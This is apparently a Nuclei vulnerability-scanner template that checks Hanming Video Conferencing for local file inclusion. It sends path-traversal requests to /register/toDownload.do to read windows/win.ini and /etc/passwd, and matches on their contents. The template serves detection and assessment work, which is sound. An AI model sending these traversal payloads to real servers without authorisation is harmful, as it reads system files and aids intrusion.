id: hanming-lfr

info:
  name: Hanming Video Conferencing - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: Hanming Video Conferencing is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: lfr,hanming,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini"
      - "{{BaseURL}}/register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0:"
# digest: 4b0a00483046022100b4f0bc601c211cea0e7beb5f5b23e085e5f9c893d63b7f6eef93ccffe1e585b302210090da2cc010c83b8cc0a58934810de7819bc65193aa89e1cc580333fb91d86542:922c64590222798bb761d5b6d8e72950